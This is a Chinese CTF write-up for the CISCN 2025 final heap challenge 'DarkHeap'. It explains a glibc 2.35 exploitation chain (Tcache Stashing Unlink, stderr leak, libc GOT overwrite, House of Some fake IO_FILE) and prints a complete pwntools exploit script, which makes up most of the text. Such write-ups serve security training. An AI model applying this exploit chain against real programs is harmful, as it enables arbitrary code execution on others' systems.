CISCN-2025-FINAL-DarkHeap

原文发在https://a1b2rt.cn/archives/ciscn-2025-finall-darkheap

题目概述

题目很简单就是会fork子进程,之后在子进程里面实现了一个简单的堆程序,libc是2.35的,存在UAF漏洞,但是没有show,而且最多只能运行子进程256次

解法

没有show,libc版本也是2.35,这个时候已经存在tcache的加密机制了,所以我们只能使用Tcache Stashing Unlink Attack这个攻击手段

思路很显然,由于程序会fork子进程出来,我们可以先在一个子进程里面使用两次Tcache Stashing Unlink Attack,使得tcache中存在一个libc的指针指向_IO_2_1_stderr_,一个指向topchunk,之后修改_IO_2_1_stderr_结构体用于泄露,修改topchunks来触发__malloc_assert用于刷新_IO_2_1_stderr来实现libc的地址泄露。

之后在第二个子进程里面使用两次Tcache Stashing Unlink Attack,使得一个tcache指向_IO_2_1_stderr+48,一个tcache指向_IO_2_1_stdout_用来来实现fake_IO_file的修改,同时,我们先申请得到_IO_2_1_stderr+48,来篡改存放_IO_2_1_stdout_指针的tcache链表指向libc GOT表中的__strlen_avx2@got,之后我们篡改__strlen_avx2@got为exit,篡改_IO_2_1_stdout_为fake_IO_file,之后使用house_of_some来实现攻击就好

注意:由于高版本的libc的随机化程度很高,基本上libc基地址末4位地址全为0,所以这样的打法的概率大概为1/16,就算libc只有末三位地址为0,也为1/256,还在能接受的范围之内

完整exp:

复制代码
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")

def add(index,size):
    sla("Choice:",str(1))
    sla("Index:",str(index))
    sla("Size:",str(size).encode())

def edit(index,content):
    sla("Choice:",str(2))
    sla("Index:",str(index))
    sa("Content:",content)

def dele(index):
    sla("Choice:",str(3))
    sla("Index:",str(index))

def wait_leak_marker(timeout=2):
    data = p.recvuntil(b'\x00'*8, timeout=timeout)
    if not data or b'\x00'*8 not in data:
        return False
    return True

def run_once():
    global p, lb
    p = getProcess("123", 13, './pwn1')

    # now we malloc 7 chunks to put in tcache bin 
    for i in range(7):
        add(i,0x80)
    # now we malloc 7 chunks to put in small bin 
    for i in range(7,14):
        add(i,0x80)
        add(0xf,0x10)#guard chunk
    for i in range(14):
        dele(i)

    add(0xf,0x1500)
    # 需要想办法在top_chunk上面残留一个地址
    add(0,0x1500-0x30)
    add(1,0x1500)
    add(2,0x1500)
    add(3,0x1500)
    add(4,0x1500)
    dele(1)
    dele(3)
    dele(4)
    dele(2)
    dele(0)
    add(0,0x1500)
    dele(0xf)
    # add(0xf,0xa0)
    # 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为_IO_2_1_stderr_
    edit(13,p64(0)+p16(0xb6a0-0x10))
    # 触发堆块合并
    for i in range(7):
        add(i,0x80)
    add(7,0x80)

    for i in range(7):
        add(i,0x90)
    for i in range(7,15):
        add(i,0x90)
        add(0xf,0x10)#guard chunk
    for i in range(15):
        dele(i)
    add(0xf,0x500)
    # 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为top_chunks
    edit(13,p64(0)+p16(0x3550-0x10))
    for i in range(7):
        add(i,0x90)
    # gdbbug(cmd)
    add(10,0x5a0-0x10)
    add(7,0x90)

    # 触发一次__malloc_assert来实现泄露地址
    add(8,0x80)# -->> _IO_2_1_stderr_
    edit(8,p64(0x8000 | 0x800 | 0x1000)+p64(0)*3+p8(0))
    add(9,0x90)
    edit(9,p64(0)*5+p64(0x10))
    add(10,0x1500)
    if not wait_leak_marker(timeout=0.5):
        return False
    lb=uu64(rc(6))-libc.symbols['_IO_2_1_stdout_']
    print("lb: "+hex(lb))
    return True

while True:
    try:
        if run_once():
            break
    except EOFError:
        pass
    except Exception:
        pass
    try:
        p.close()
    except Exception:
        pass
###########现在已经得到的完整的libc地址,接下来再去攻击libc的got表就好###########
###########篡改libc GOT表中的__strlen_avx2@got为某个exit地址来人为实现刷新io的操作

# now we malloc 7 chunks to put in tcache bin 
for i in range(7):
    add(i,0xe0)
# now we malloc 7 chunks to put in small bin 
for i in range(7,14):
    add(i,0xe0)
    add(0xf,0x10)#guard chunk
for i in range(14):
    dele(i)
add(0xf,0x1500)
add(0,0x1500)
dele(0xf)
# 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为_IO_2_1_stdout_
edit(13,p64(0)+p64(lb+libc.sym["_IO_2_1_stdout_"]-0x10))
# 触发堆块合并
for i in range(7):
    add(i,0xe0)
add(7,0xe0)

# now we malloc 7 chunks to put in tcache bin 
for i in range(7):
    add(i,0xf0)
# now we malloc 7 chunks to put in small bin 
for i in range(7,14):
    add(i,0xf0)
    add(0xf,0x10)#guard chunk
for i in range(14):
    dele(i)
add(0xf,0x100)

# 现在我们去篡改small bin->bk指向的堆块沿着bk指针向后数第7个堆块的指针为_IO_2_1_stderr_+48,为了篡改tcache的指针
edit(13,p64(0)+p64(lb+libc.sym["_IO_2_1_stderr_"]+48-0x10))
#触发堆块合并
for i in range(7):
    add(i,0xf0)
add(10,0x520-0x10)
add(7,0xf0)
add(0,0xf0)
payload=p64(lb+libc.sym["_IO_2_1_stderr_"]+131)*2+p64(lb+libc.sym["_IO_2_1_stderr_"]+132)
payload+=p64(0)*4+p64(0x21b780+lb)+p64(0x0000000000000002)+p64(0xffffffffffffffff)
payload+=p64(0)+p64(lb+0x21ca60)+p64(0xffffffffffffffff)+p64(0)
payload+=p64(lb+0x21a8a0)+p64(0)*6+p64(lb+0x217600)
payload+=p64(((lb+libc.sym["_IO_2_1_stdout_"])>>12)^(lb+0x21a090))
# 
edit(0,payload)

add(1,0xe0)#-->>_IO_2_1_stdout_
add(2,0xe0)#-->>libc-got
edit(2,p64(0)+p64(lb+libc.sym["exit"]))


libc_base=lb
libc.address = libc_base
environ=libc.symbols['__environ']
fake_file_start=environ+0x400
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
#伪造IO_FILE结构体实现任意读写

edit(1,payload)
# forkbug('pwn1',cmd)
add(3,0xf0)
dele(3)
dele(3)

hos.bomb(p)
ita()
相关推荐
枷锁—sha7 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 050】详解:动态链接下的 mprotect 与 ROP 链艺术
网络·笔记·安全·网络安全
AC赳赳老秦10 小时前
2026多模态技术趋势预测:DeepSeek处理图文音视频多格式数据实战指南
java·人工智能·python·安全·架构·prometheus·deepseek
松叶似针12 小时前
Flutter三方库适配OpenHarmony【secure_application】— 与 HarmonyOS 安全能力的深度集成
安全·flutter·harmonyos
Chengbei1112 小时前
内网渗透过程中搜寻指定文件内容Everything小工具
android·安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
夜来小雨12 小时前
第二章 网络安全监督
网络·安全
菩提小狗13 小时前
第17天:信息打点-语言框架&开发组件&FastJson&Shiro&Log4j_笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·log4j
kk的matlab学习之路13 小时前
深入解析Calico:云原生网络的安全守护者
网络·其他·安全·云原生
花木偶14 小时前
小迪网安:APP攻防-Day1
安全·小程序